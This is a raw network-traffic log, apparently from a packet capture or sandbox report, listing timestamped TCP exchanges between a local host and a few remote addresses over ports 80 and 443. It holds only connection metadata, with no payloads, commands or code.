Dec 7, 2024 22:40:55.555567980 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.555671930 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.555720091 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.556493044 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.556543112 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.556612968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.556660891 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.557466984 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.563146114 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.684597015 CET	443	49834	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.686198950 CET	49834	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:55.686218023 CET	443	49834	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.686783075 CET	49834	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:55.686788082 CET	443	49834	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.692413092 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.693480968 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:55.693489075 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.693895102 CET	49835	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:55.693898916 CET	443	49835	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.696136951 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.696154118 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.696167946 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.696223974 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.696249008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.696265936 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.696472883 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.696527958 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.696559906 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:55.696577072 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.696578026 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.696734905 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:55.696748972 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.697041988 CET	49836	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:55.697047949 CET	443	49836	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.697134018 CET	49837	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:55.697139978 CET	443	49837	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:55.697396040 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.697452068 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.697508097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.698405981 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.698457956 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.698518991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.698565960 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.699430943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.699485064 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.699558973 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.699605942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.700642109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.700686932 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.700707912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.700745106 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.701478958 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.701618910 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.701667070 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.702512026 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.702604055 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.702627897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.702680111 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.703533888 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.703593969 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.703670979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.705889940 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.705946922 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.706151962 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.706197977 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.708988905 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.709002972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.709013939 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.709026098 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.709053993 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.709100008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.709125996 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.709274054 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.709314108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.710319042 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.710483074 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.710530043 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.711378098 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.711390018 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.711426973 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.711452007 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.712400913 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.712547064 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.712594986 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.713402033 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.713445902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.713579893 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.713618994 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.714473963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.714521885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.714615107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.714658022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.715390921 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.715545893 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.715590954 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.716360092 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.716406107 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.716547966 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.716595888 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.717412949 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.717457056 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.717600107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.717660904 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.718441010 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.718512058 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.718566895 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.718601942 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.719436884 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.719593048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.719636917 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.720416069 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.720462084 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.720561981 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.720607042 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.721463919 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.721606970 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.721652031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.722502947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.722553015 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.722687960 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.722737074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.723577976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.723623037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.723757982 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.723803997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.724601984 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.724613905 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.724653006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.725795031 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.725807905 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.725852966 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.726588011 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.726738930 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.726785898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.727310896 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.727329016 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.727355003 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.727391958 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.728625059 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.728770971 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.728816032 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.729665995 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.729710102 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.729845047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.729895115 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.730664968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.730675936 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.730720997 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.731821060 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.731873989 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.731966972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.732012033 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.732017040 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.732028961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.732048035 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.732059956 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.732086897 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.732132912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.732175112 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.733119965 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.733166933 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.733277082 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.733319044 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.734210968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.734265089 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.734334946 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.734383106 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.735097885 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.735186100 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.735235929 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.736088037 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.736140013 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.736201048 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.736247063 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.737097979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.737142086 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.737207890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.737246990 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.738370895 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.738420010 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.738425016 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.738462925 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.739176989 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.739279032 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.739330053 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.741386890 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.742120981 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.742171049 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.744442940 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.744455099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.744466066 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.744478941 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.744515896 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.744529009 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.744873047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.744918108 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.745141983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.745188951 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.746036053 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.746047974 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.746092081 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.747231960 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.747243881 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.747282028 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.748106956 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.748152971 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.748243093 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.748296976 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.749209881 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.749260902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.749351978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.749397993 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.750091076 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.750257015 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.750304937 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.751142025 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.751182079 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.888545990 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.888734102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.888796091 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.889025927 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.889079094 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.889139891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.889188051 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.890105963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.890181065 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.890233994 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.891103983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.891158104 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.891169071 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.891218901 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.892098904 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.892147064 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.892214060 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.892261028 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.893115997 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.893165112 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.893227100 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.893341064 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.894119978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.894170046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.894221067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.894280910 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.895186901 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.895231962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.895246029 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.895287037 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.896219969 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.896272898 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.896337986 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.896404028 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.897200108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.897330046 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.897377014 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.898212910 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.898264885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.898394108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.898441076 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.899221897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.899270058 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.899338961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.899379015 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.900244951 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.900304079 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.900379896 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.900424957 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.901328087 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.901401997 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.901424885 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.901438951 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.902265072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.902319908 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.902410030 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.902456045 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.903443098 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.903505087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.903538942 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.903587103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.904344082 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.904395103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.904397964 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.904509068 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.905412912 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.905482054 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.905503988 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.905543089 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.906399012 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.906441927 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.906497955 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.907361984 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.907413960 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.907466888 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.907502890 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.908392906 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.908446074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.908502102 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.908541918 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.909393072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.909442902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.909497976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.909538031 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.910428047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.910522938 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.910571098 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.911443949 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.911494017 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.911575079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.911612034 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.912475109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.912533998 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.912575006 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.912616014 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.913513899 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.913577080 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.913608074 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.913650990 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.914556026 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.914592981 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.914602995 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.914633989 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.915515900 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.915555000 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.915627003 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.915735006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.916527987 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.916573048 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.916666031 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.916707993 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.917565107 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.917668104 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.917706966 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.918593884 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.918638945 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.918665886 CET	443	49833	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:55.918803930 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:55.918874979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:55.919084072 CET	443	49833	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:55.919215918 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:55.919399023 CET	49833	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:55.919419050 CET	443	49833	20.198.118.190	192.168.2.6
